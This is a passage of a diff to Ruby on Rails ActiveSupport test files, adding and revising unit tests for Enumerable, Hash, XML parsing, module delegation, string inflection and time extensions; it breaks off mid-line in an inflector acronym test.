+ end + + def each + @values.each{|v| yield v} + end + end + def test_group_by names = %w(marcel sam david jeremy) klass = Struct.new(:name) @@ -17,7 +30,8 @@ class EnumerableTests < Test::Unit::TestCase people << p end - grouped = objects.group_by { |object| object.name } + enum = GenericEnumerable.new(objects) + grouped = enum.group_by { |object| object.name } grouped.each do |name, group| assert group.all? { |person| person.name == name } @@ -25,20 +39,24 @@ class EnumerableTests < Test::Unit::TestCase assert_equal objects.uniq.map(&:name), grouped.keys assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash") + assert_equal Enumerator, enum.group_by.class + assert_equal grouped, enum.group_by.each(&:name) end def test_sums - assert_equal 30, [5, 15, 10].sum - assert_equal 30, [5, 15, 10].sum { |i| i } + enum = GenericEnumerable.new([5, 15, 10]) + assert_equal 30, enum.sum + assert_equal 60, enum.sum { |i| i * 2} - assert_equal 'abc', %w(a b c).sum - assert_equal 'abc', %w(a b c).sum { |i| i } + enum = GenericEnumerable.new(%w(a b c)) + assert_equal 'abc', enum.sum + assert_equal 'aabbcc', enum.sum { |i| i * 2 } - payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ] + payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ]) assert_equal 30, payments.sum(&:price) assert_equal 60, payments.sum { |p| p.price * 2 } - payments = [ SummablePayment.new(5), SummablePayment.new(15) ] + payments = GenericEnumerable.new([ SummablePayment.new(5), SummablePayment.new(15) ]) assert_equal SummablePayment.new(20), payments.sum assert_equal SummablePayment.new(20), payments.sum { |p| p } end @@ -46,21 +64,21 @@ class EnumerableTests < Test::Unit::TestCase def test_nil_sums expected_raise = TypeError - assert_raise(expected_raise) { [5, 15, nil].sum } + assert_raise(expected_raise) { GenericEnumerable.new([5, 15, nil]).sum } - payments = [ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ] + payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ]) assert_raise(expected_raise) { payments.sum(&:price) } assert_equal 60, payments.sum { |p| p.price.to_i * 2 } end def test_empty_sums - assert_equal 0, [].sum - assert_equal 0, [].sum { |i| i } - assert_equal Payment.new(0), [].sum(Payment.new(0)) + assert_equal 0, GenericEnumerable.new([]).sum + assert_equal 0, GenericEnumerable.new([]).sum { |i| i + 10 } + assert_equal Payment.new(0), GenericEnumerable.new([]).sum(Payment.new(0)) end - def test_enumerable_sums + def test_range_sums assert_equal 20, (1..4).sum { |i| i * 2 } assert_equal 10, (1..4).sum assert_equal 10, (1..4.5).sum @@ -69,29 +87,43 @@ class EnumerableTests < Test::Unit::TestCase end def test_each_with_object - result = %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } + enum = GenericEnumerable.new(%w(foo bar)) + result = enum.each_with_object({}) { |str, hsh| hsh[str] = str.upcase } assert_equal({'foo' => 'FOO', 'bar' => 'BAR'}, result) + assert_equal Enumerator, enum.each_with_object({}).class + result2 = enum.each_with_object({}).each{|str, hsh| hsh[str] = str.upcase} + assert_equal result, result2 end def test_index_by - payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ] - assert_equal({ 5 => payments[0], 15 => payments[1], 10 => payments[2] }, + payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ]) + assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) }, payments.index_by { |p| p.price }) + assert_equal Enumerator, payments.index_by.class + assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) }, + payments.index_by.each { |p| p.price }) end def test_many - assert ![].many? - assert ![ 1 ].many? - assert [ 1, 2 ].many? - - assert ![].many? {|x| x > 1 } - assert ![ 2 ].many? {|x| x > 1 } - assert ![ 1, 2 ].many? {|x| x > 1 } - assert [ 1, 2, 2 ].many? {|x| x > 1 } + assert_equal false, GenericEnumerable.new([] ).many? + assert_equal false, GenericEnumerable.new([ 1 ] ).many? + assert_equal true, GenericEnumerable.new([ 1, 2 ] ).many? + + assert_equal false, GenericEnumerable.new([] ).many? {|x| x > 1 } + assert_equal false, GenericEnumerable.new([ 2 ] ).many? {|x| x > 1 } + assert_equal false, GenericEnumerable.new([ 1, 2 ] ).many? {|x| x > 1 } + assert_equal true, GenericEnumerable.new([ 1, 2, 2 ]).many? {|x| x > 1 } + end + + def test_many_iterates_only_on_what_is_needed + infinity = 1.0/0.0 + very_long_enum = 0..infinity + assert_equal true, very_long_enum.many? + assert_equal true, very_long_enum.many?{|x| x > 100} end def test_exclude? - assert [ 1 ].exclude?(2) - assert ![ 1 ].exclude?(1) + assert_equal true, GenericEnumerable.new([ 1 ]).exclude?(2) + assert_equal false, GenericEnumerable.new([ 1 ]).exclude?(1) end end diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb index 0b3f18faec..fa800eada2 100644 --- a/activesupport/test/core_ext/hash_ext_test.rb +++ b/activesupport/test/core_ext/hash_ext_test.rb @@ -9,7 +9,7 @@ require 'active_support/inflections' class HashExtTest < Test::Unit::TestCase class IndifferentHash < HashWithIndifferentAccess end - + class SubclassingArray < Array end @@ -272,14 +272,14 @@ class HashExtTest < Test::Unit::TestCase hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access assert_equal "1", hash[:urls][:url].first[:address] end - + def test_should_preserve_array_subclass_when_value_is_array array = SubclassingArray.new array << { "address" => "1" } hash = { "urls" => { "url" => array }}.with_indifferent_access assert_equal SubclassingArray, hash[:urls][:url].class end - + def test_should_preserve_array_class_when_hash_value_is_frozen_array array = SubclassingArray.new array << { "address" => "1" } @@ -543,7 +543,7 @@ class HashExtToParamTests < Test::Unit::TestCase end def test_to_param_hash - assert_equal 'custom2=param2-1&custom=param-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param + assert_equal 'custom-1=param-1&custom2-1=param2-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param end def test_to_param_hash_escapes_its_keys_and_values @@ -670,6 +670,55 @@ class HashToXmlTest < Test::Unit::TestCase assert_match %r{<local-created-at type=\"datetime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml end + def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding + topics_xml = <<-EOT + <topics type="array" page="1" page-count="1000" per-page="2"> + <topic> + <title>The First Topic</title> + <author-name>David</author-name> + <id type="integer">1</id> + <approved type="boolean">false</approved> + <replies-count type="integer">0</replies-count> + <replies-close-in type="integer">2592000000</replies-close-in> + <written-on type="date">2003-07-16</written-on> + <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at> + <content>Have a nice day</content> + <author-email-address>david@loudthinking.com</author-email-address> + <parent-id nil="true"></parent-id> + </topic> + <topic> + <title>The Second Topic</title> + <author-name>Jason</author-name> + <id type="integer">1</id> + <approved type="boolean">false</approved> + <replies-count type="integer">0</replies-count> + <replies-close-in type="integer">2592000000</replies-close-in> + <written-on type="date">2003-07-16</written-on> + <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at> + <content>Have a nice day</content> + <author-email-address>david@loudthinking.com</author-email-address> + <parent-id></parent-id> + </topic> + </topics> + EOT + + expected_topic_hash = { + :title => "The First Topic", + :author_name => "David", + :id => 1, + :approved => false, + :replies_count => 0, + :replies_close_in => 2592000000, + :written_on => Date.new(2003, 7, 16), + :viewed_at => Time.utc(2003, 7, 16, 9, 28), + :content => "Have a nice day", + :author_email_address => "david@loudthinking.com", + :parent_id => nil + }.stringify_keys + + assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first + end + def test_single_record_from_xml topic_xml = <<-EOT <topic> @@ -906,13 +955,13 @@ class HashToXmlTest < Test::Unit::TestCase hash = Hash.from_xml(xml) assert_equal "bacon is the best", hash['blog']['name'] end - + def test_empty_cdata_from_xml xml = "<data><![CDATA[]]></data>" - + assert_equal "", Hash.from_xml(xml)["data"] end - + def test_xsd_like_types_from_xml bacon_xml = <<-EOT <bacon> @@ -955,7 +1004,7 @@ class HashToXmlTest < Test::Unit::TestCase assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"] end - + def test_should_use_default_value_for_unknown_key hash_wia = HashWithIndifferentAccess.new(3) assert_equal 3, hash_wia[:new_key] diff --git a/activesupport/test/core_ext/io_test.rb b/activesupport/test/core_ext/io_test.rb new file mode 100644 index 0000000000..b9abf685da --- /dev/null +++ b/activesupport/test/core_ext/io_test.rb @@ -0,0 +1,23 @@ +require 'abstract_unit' + +require 'active_support/core_ext/io' + +class IOTest < Test::Unit::TestCase + def test_binread_one_arg + assert_equal File.read(__FILE__), IO.binread(__FILE__) + end + + def test_binread_two_args + assert_equal File.read(__FILE__).bytes.first(10).pack('C*'), + IO.binread(__FILE__, 10) + end + + def test_binread_three_args + actual = IO.binread(__FILE__, 5, 10) + expected = File.open(__FILE__, 'rb') { |f| + f.seek 10 + f.read 5 + } + assert_equal expected, actual + end +end diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb index ede9b0a6aa..995bc0751a 100644 --- a/activesupport/test/core_ext/kernel_test.rb +++ b/activesupport/test/core_ext/kernel_test.rb @@ -52,10 +52,10 @@ class KernelTest < Test::Unit::TestCase class << o; @x = 1; end assert_equal 1, o.class_eval { @x } end - + def test_capture - assert_equal 'STDERR', capture(:stderr) {$stderr.print 'STDERR'} - assert_equal 'STDOUT', capture(:stdout) {print 'STDOUT'} + assert_equal 'STDERR', capture(:stderr) { $stderr.print 'STDERR' } + assert_equal 'STDOUT', capture(:stdout) { print 'STDOUT' } end end @@ -73,3 +73,43 @@ class KernelSuppressTest < Test::Unit::TestCase suppress(LoadError, ArgumentError) { raise ArgumentError } end end + +class MockStdErr + attr_reader :output + def puts(message) + @output ||= [] + @output << message + end + + def info(message) + puts(message) + end + + def write(message) + puts(message) + end +end + +class KernelDebuggerTest < Test::Unit::TestCase + def test_debugger_not_available_message_to_stderr + old_stderr = $stderr + $stderr = MockStdErr.new + debugger + assert_match(/Debugger requested/, $stderr.output.first) + ensure + $stderr = old_stderr + end + + def test_debugger_not_available_message_to_rails_logger + rails = Class.new do + def self.logger + @logger ||= MockStdErr.new + end + end + Object.const_set("Rails", rails) + debugger + assert_match(/Debugger requested/, rails.logger.output.first) + ensure + Object.send(:remove_const, "Rails") + end +end
\ No newline at end of file diff --git a/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb b/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb deleted file mode 100644 index 0ecd16b051..0000000000 --- a/activesupport/test/core_ext/module/attr_accessor_with_default_test.rb +++ /dev/null @@ -1,39 +0,0 @@ -require 'abstract_unit' -require 'active_support/core_ext/module/attr_accessor_with_default' - -class AttrAccessorWithDefaultTest < ActiveSupport::TestCase - def setup - @target = Class.new do - def helper - 'helper' - end - end - @instance = @target.new - end - - def test_default_arg - assert_deprecated do - @target.attr_accessor_with_default :foo, :bar - end - assert_equal(:bar, @instance.foo) - @instance.foo = nil - assert_nil(@instance.foo) - end - - def test_default_proc - assert_deprecated do - @target.attr_accessor_with_default(:foo) {helper.upcase} - end - assert_equal('HELPER', @instance.foo) - @instance.foo = nil - assert_nil(@instance.foo) - end - - def test_invalid_args - assert_raise(ArgumentError) do - assert_deprecated do - @target.attr_accessor_with_default :foo - end - end - end -end diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb index 118fb070a0..29889b51e0 100644 --- a/activesupport/test/core_ext/module/attribute_accessor_test.rb +++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb @@ -7,6 +7,7 @@ class ModuleAttributeAccessorTest < Test::Unit::TestCase mattr_accessor :foo mattr_accessor :bar, :instance_writer => false mattr_reader :shaq, :instance_reader => false + mattr_accessor :camp, :instance_accessor => false end @class = Class.new @class.instance_eval { include m } @@ -37,4 +38,10 @@ class ModuleAttributeAccessorTest < Test::Unit::TestCase assert_respond_to @module, :shaq assert !@object.respond_to?(:shaq) end + + def test_should_not_create_instance_accessors + assert_respond_to @module, :camp + assert !@object.respond_to?(:camp) + assert !@object.respond_to?(:camp=) + end end diff --git a/activesupport/test/core_ext/module/qualified_const_test.rb b/activesupport/test/core_ext/module/qualified_const_test.rb new file mode 100644 index 0000000000..8af0b9a023 --- /dev/null +++ b/activesupport/test/core_ext/module/qualified_const_test.rb @@ -0,0 +1,94 @@ +require 'abstract_unit' +require 'active_support/core_ext/module/qualified_const' + +module QualifiedConstTestMod + X = false + + module M + X = 1 + + class C + X = 2 + end + end + + module N + include M + end +end + +class QualifiedConstTest < ActiveSupport::TestCase + test "Object.qualified_const_defined?" do + assert Object.qualified_const_defined?("QualifiedConstTestMod") + assert !Object.qualified_const_defined?("NonExistingQualifiedConstTestMod") + + assert Object.qualified_const_defined?("QualifiedConstTestMod::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::Y") + + assert Object.qualified_const_defined?("QualifiedConstTestMod::M::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::M::Y") + + if Module.method(:const_defined?).arity == 1 + assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X") + else + assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X") + assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X", false) + assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X", true) + end + end + + test "mod.qualified_const_defined?" do + assert QualifiedConstTestMod.qualified_const_defined?("M") + assert !QualifiedConstTestMod.qualified_const_defined?("NonExistingM") + + assert QualifiedConstTestMod.qualified_const_defined?("M::X") + assert !QualifiedConstTestMod.qualified_const_defined?("M::Y") + + assert QualifiedConstTestMod.qualified_const_defined?("M::C::X") + assert !QualifiedConstTestMod.qualified_const_defined?("M::C::Y") + + if Module.method(:const_defined?).arity == 1 + assert !QualifiedConstTestMod.qualified_const_defined?("QualifiedConstTestMod::N::X") + else + assert QualifiedConstTestMod.qualified_const_defined?("N::X") + assert !QualifiedConstTestMod.qualified_const_defined?("N::X", false) + assert QualifiedConstTestMod.qualified_const_defined?("N::X", true) + end + end + + test "qualified_const_get" do + assert_equal false, Object.qualified_const_get("QualifiedConstTestMod::X") + assert_equal false, QualifiedConstTestMod.qualified_const_get("X") + assert_equal 1, QualifiedConstTestMod.qualified_const_get("M::X") + assert_equal 1, QualifiedConstTestMod.qualified_const_get("N::X") + assert_equal 2, QualifiedConstTestMod.qualified_const_get("M::C::X") + + assert_raise(NameError) { QualifiedConstTestMod.qualified_const_get("M::C::Y")} + end + + test "qualified_const_set" do + m = Module.new + assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m) + assert_equal m, ::QualifiedConstTestMod2 + + # We are going to assign to existing constants on purpose, so silence warnings. + silence_warnings do + assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true) + assert_equal true, QualifiedConstTestMod::X + + assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10) + assert_equal 10, QualifiedConstTestMod::M::X + end + end + + test "reject absolute paths" do + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X")} + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X::Y")} + + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X")} + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X::Y")} + + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X", nil)} + assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X::Y", nil)} + end +end diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb index a95cf1591f..f11bf3dc69 100644 --- a/activesupport/test/core_ext/module_test.rb +++ b/activesupport/test/core_ext/module_test.rb @@ -26,11 +26,20 @@ module Yz end end -Somewhere = Struct.new(:street, :city) +Somewhere = Struct.new(:street, :city) do + attr_accessor :name +end -Someone = Struct.new(:name, :place) do +class Someone < Struct.new(:name, :place) delegate :street, :city, :to_f, :to => :place + delegate :name=, :to => :place, :prefix => true delegate :upcase, :to => "place.city" + + FAILED_DELEGATE_LINE = __LINE__ + 1 + delegate :foo, :to => :place + + FAILED_DELEGATE_LINE_2 = __LINE__ + 1 + delegate :bar, :to => :place, :allow_nil => true end Invoice = Struct.new(:client) do @@ -69,6 +78,11 @@ class ModuleTest < Test::Unit::TestCase assert_equal "Chicago", @david.city end + def test_delegation_to_assignment_method + @david.place_name = "Fred" + assert_equal "Fred", @david.place.name + end + def test_delegation_down_hierarchy assert_equal "CHICAGO", @david.upcase end @@ -164,6 +178,26 @@ class ModuleTest < Test::Unit::TestCase end end + def test_delegation_exception_backtrace + someone = Someone.new("foo", "bar") + someone.foo + rescue NoMethodError => e + file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE}" + # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace. + assert e.backtrace.any?{|a| a.include?(file_and_line)}, + "[#{e.backtrace.inspect}] did not include [#{file_and_line}]" + end + + def test_delegation_exception_backtrace_with_allow_nil + someone = Someone.new("foo", "bar") + someone.bar + rescue NoMethodError => e + file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE_2}" + # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace. + assert e.backtrace.any?{|a| a.include?(file_and_line)}, + "[#{e.backtrace.inspect}] did not include [#{file_and_line}]" + end + def test_parent assert_equal Yz::Zy, Yz::Zy::Cd.parent assert_equal Yz, Yz::Zy.parent diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb index 84da52f4bf..c146f6cc9b 100644 --- a/activesupport/test/core_ext/object/to_query_test.rb +++ b/activesupport/test/core_ext/object/to_query_test.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'active_support/ordered_hash' require 'active_support/core_ext/object/to_query' +require 'active_support/core_ext/string/output_safety.rb' class ToQueryTest < Test::Unit::TestCase def test_simple_conversion @@ -11,6 +12,14 @@ class ToQueryTest < Test::Unit::TestCase assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d' end + def test_html_safe_parameter_key + assert_query_equal 'a%3Ab=c+d', 'a:b'.html_safe => 'c d' + end + + def test_html_safe_parameter_value + assert_query_equal 'a=%5B10%5D', 'a' => '[10]'.html_safe + end + def test_nil_parameter_value empty = Object.new def empty.to_param; nil end diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb index 5d68b198f2..782a01213d 100644 --- a/activesupport/test/core_ext/object_and_class_ext_test.rb +++ b/activesupport/test/core_ext/object_and_class_ext_test.rb @@ -101,6 +101,12 @@ class ObjectTryTest < Test::Unit::TestCase assert !@string.respond_to?(method) assert_raise(NoMethodError) { @string.try(method) } end + + def test_nonexisting_method_with_arguments + method = :undefined_method + assert !@string.respond_to?(method) + assert_raise(NoMethodError) { @string.try(method, 'llo', 'y') } + end def test_valid_method assert_equal 5, @string.try(:size) diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb index 32675c884a..ade09efc56 100644 --- a/activesupport/test/core_ext/string_ext_test.rb +++ b/activesupport/test/core_ext/string_ext_test.rb @@ -2,15 +2,30 @@ require 'date' require 'abstract_unit' require 'inflector_test_cases' +require 'constantize_test_cases' require 'active_support/inflector' require 'active_support/core_ext/string' require 'active_support/time' -require 'active_support/core_ext/kernel/reporting' require 'active_support/core_ext/string/strip' +require 'active_support/core_ext/string/output_safety' + +module Ace + module Base + class Case + end + end +end class StringInflectionsTest < Test::Unit::TestCase include InflectorTestCases + include ConstantizeTestCases + + def test_erb_escape + string = [192, 60].pack('CC') + expected = 192.chr + "<" + assert_equal expected, ERB::Util.html_escape(string) + end def test_strip_heredoc_on_an_empty_string assert_equal '', ''.strip_heredoc @@ -49,6 +64,10 @@ class StringInflectionsTest < Test::Unit::TestCase end assert_equal("plurals", "plurals".pluralize) + + assert_equal("blargles", "blargle".pluralize(0)) + assert_equal("blargle", "blargle".pluralize(1)) + assert_equal("blargles", "blargle".pluralize(2)) end def test_singularize @@ -92,6 +111,10 @@ class StringInflectionsTest < Test::Unit::TestCase assert_equal "Account", "MyApplication::Billing::Account".demodulize end + def test_deconstantize + assert_equal "MyApplication::Billing", "MyApplication::Billing::Account".deconstantize + end + def test_foreign_key ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key| assert_equal(foreign_key, klass.foreign_key) @@ -158,6 +181,7 @@ class StringInflectionsTest < Test::Unit::TestCase assert_equal Time.local(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time(:local) assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time assert_equal Time.local_time(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:local) + assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time assert_nil "".to_time end @@ -251,7 +275,7 @@ class StringInflectionsTest < Test::Unit::TestCase # And changes the original string: assert_equal original, expected end - + def test_string_inquiry assert "production".inquiry.production? assert !"production".inquiry.development? @@ -285,6 +309,18 @@ class StringInflectionsTest < Test::Unit::TestCase "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10) end end + + def test_constantize + run_constantize_tests_on do |string| + string.constantize + end + end + + def test_safe_constantize + run_safe_constantize_tests_on do |string| + string.safe_constantize + end + end end class StringBehaviourTest < Test::Unit::TestCase @@ -354,6 +390,10 @@ class OutputSafetyTest < ActiveSupport::TestCase assert 5.html_safe? end + test "a float is safe by default" do + assert 5.7.html_safe? + end + test "An object is unsafe by default" do assert !@object.html_safe? end @@ -451,6 +491,12 @@ class OutputSafetyTest < ActiveSupport::TestCase assert !'ruby'.encoding_aware? end end + + test "call to_param returns a normal string" do + string = @string.html_safe + assert string.html_safe? + assert !string.to_param.html_safe? + end end class StringExcludeTest < ActiveSupport::TestCase diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb index 44e02109b1..ab9be4b18b 100644 --- a/activesupport/test/core_ext/time_ext_test.rb +++ b/activesupport/test/core_ext/time_ext_test.rb @@ -764,7 +764,30 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase def test_case_equality assert Time === Time.utc(2000) assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) + assert Time === Class.new(Time).utc(2000) assert_equal false, Time === DateTime.civil(2000) + assert_equal false, Class.new(Time) === Time.utc(2000) + assert_equal false, Class.new(Time) === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) + end + + def test_all_day + assert_equal Time.local(2011,6,7,0,0,0)..Time.local(2011,6,7,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_day + end + + def test_all_week + assert_equal Time.local(2011,6,6,0,0,0)..Time.local(2011,6,12,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_week + end + + def test_all_month + assert_equal Time.local(2011,6,1,0,0,0)..Time.local(2011,6,30,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_month + end + + def test_all_quarter + assert_equal Time.local(2011,4,1,0,0,0)..Time.local(2011,6,30,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_quarter + end + + def test_all_year + assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_year end protected diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb index 72b55183ba..b2309ae806 100644 --- a/activesupport/test/core_ext/time_with_zone_test.rb +++ b/activesupport/test/core_ext/time_with_zone_test.rb @@ -111,6 +111,13 @@ class TimeWithZoneTest < Test::Unit::TestCase assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12) end + def test_xmlschema_with_fractional_seconds_lower_than_hundred_thousand + @twz += 0.001234 # advance the time by a fraction + assert_equal "1999-12-31T19:00:00.001-05:00", @twz.xmlschema(3) + assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(6) + assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12) + end + def test_to_yaml assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml) end diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb index ef017d7436..fe8f51e11a 100644 --- a/activesupport/test/dependencies_test.rb +++ b/activesupport/test/dependencies_test.rb @@ -1,7 +1,6 @@ require 'abstract_unit' require 'pp' require 'active_support/dependencies' -require 'active_support/core_ext/kernel/reporting' module ModuleWithMissing mattr_accessor :missing_count @@ -24,11 +23,13 @@ class DependenciesTest < Test::Unit::TestCase old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load this_dir = File.dirname(__FILE__) parent_dir = File.dirname(this_dir) + path_copy = $LOAD_PATH.dup $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir) prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" } yield ensure + $LOAD_PATH.replace(path_copy) ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths ActiveSupport::Dependencies.mechanism = old_mechanism ActiveSupport::Dependencies.explicitly_unloadable_constants = [] @@ -439,7 +440,7 @@ class DependenciesTest < Test::Unit::TestCase with_autoloading_fixtures do require_dependency '././counting_loader' assert_equal 1, $counting_loaded_times - assert_raise(ArgumentError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader } + assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader } assert_equal 1, $counting_loaded_times end end @@ -519,6 +520,24 @@ class DependenciesTest < Test::Unit::TestCase ActiveSupport::Dependencies.autoload_once_paths = [] end + def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants + with_autoloading_fixtures do + pathnames = ActiveSupport::Dependencies.autoload_paths.collect{|p| Pathname.new(p)} + ActiveSupport::Dependencies.autoload_paths = pathnames + ActiveSupport::Dependencies.autoload_once_paths = pathnames + + assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder") + assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass") + assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder) + + 1 if ModuleFolder::NestedClass # 1 if to avoid warning + assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass) + end + ensure + Object.class_eval { remove_const :ModuleFolder } + ActiveSupport::Dependencies.autoload_once_paths = [] + end + def test_application_should_special_case_application_controller with_autoloading_fixtures do require_dependency 'application' diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb index cad0810241..d77a62f108 100644 --- a/activesupport/test/deprecation_test.rb +++ b/activesupport/test/deprecation_test.rb @@ -62,7 +62,7 @@ class DeprecationTest < ActiveSupport::TestCase end def test_deprecate_class_method - assert_deprecated(/none is deprecated.*test_deprecate_class_method/) do + assert_deprecated(/none is deprecated/) do assert_equal 1, @dtc.none end diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb index baf29cc337..b65bb1d024 100644 --- a/activesupport/test/file_update_checker_test.rb +++ b/activesupport/test/file_update_checker_test.rb @@ -1,6 +1,5 @@ require 'abstract_unit' require 'test/unit' -require 'active_support' require 'fileutils' MTIME_FIXTURES_PATH = File.expand_path("../fixtures", __FILE__) diff --git a/activesupport/test/flush_cache_on_private_memoization_test.rb b/activesupport/test/flush_cache_on_private_memoization_test.rb index 91b856ed7c..20768b777a 100644 --- a/activesupport/test/flush_cache_on_private_memoization_test.rb +++ b/activesupport/test/flush_cache_on_private_memoization_test.rb @@ -1,9 +1,10 @@ require 'abstract_unit' -require 'active_support' require 'test/unit' class FlashCacheOnPrivateMemoizationTest < Test::Unit::TestCase - extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + extend ActiveSupport::Memoizable + end def test_public assert_method_unmemoizable :pub diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb index 95f18126d4..6b7e839e43 100644 --- a/activesupport/test/inflector_test.rb +++ b/activesupport/test/inflector_test.rb @@ -2,16 +2,11 @@ require 'abstract_unit' require 'active_support/inflector' require 'inflector_test_cases' - -module Ace - module Base - class Case - end - end -end +require 'constantize_test_cases' class InflectorTest < Test::Unit::TestCase include InflectorTestCases + include ConstantizeTestCases def test_pluralize_plurals assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals") @@ -94,6 +89,88 @@ class InflectorTest < Test::Unit::TestCase assert_equal('capital', ActiveSupport::Inflector.camelize('Capital', false)) end + def test_camelize_with_underscores + assert_equal("CamelCase", ActiveSupport::Inflector.camelize('Camel_Case')) + end + + def test_acronyms + ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym("API") + inflect.acronym("HTML") + inflect.acronym("HTTP") + inflect.acronym("RESTful") + inflect.acronym("W3C") + inflect.acronym("PhD") + inflect.acronym("RoR") + inflect.acronym("SSL") + end + + # camelize underscore humanize titleize + [ + ["API", "api", "API", "API"], + ["APIController", "api_controller", "API controller", "API Controller"], + ["Nokogiri::HTML", "nokogiri/html", "Nokogiri/HTML", "Nokogiri/HTML"], + ["HTTPAPI", "http_api", "HTTP API", "HTTP API"], + ["HTTP::Get", "http/get", "HTTP/get", "HTTP/Get"], + ["SSLError", "ssl_error", "SSL error", "SSL Error"], + ["RESTful", "restful", "RESTful", 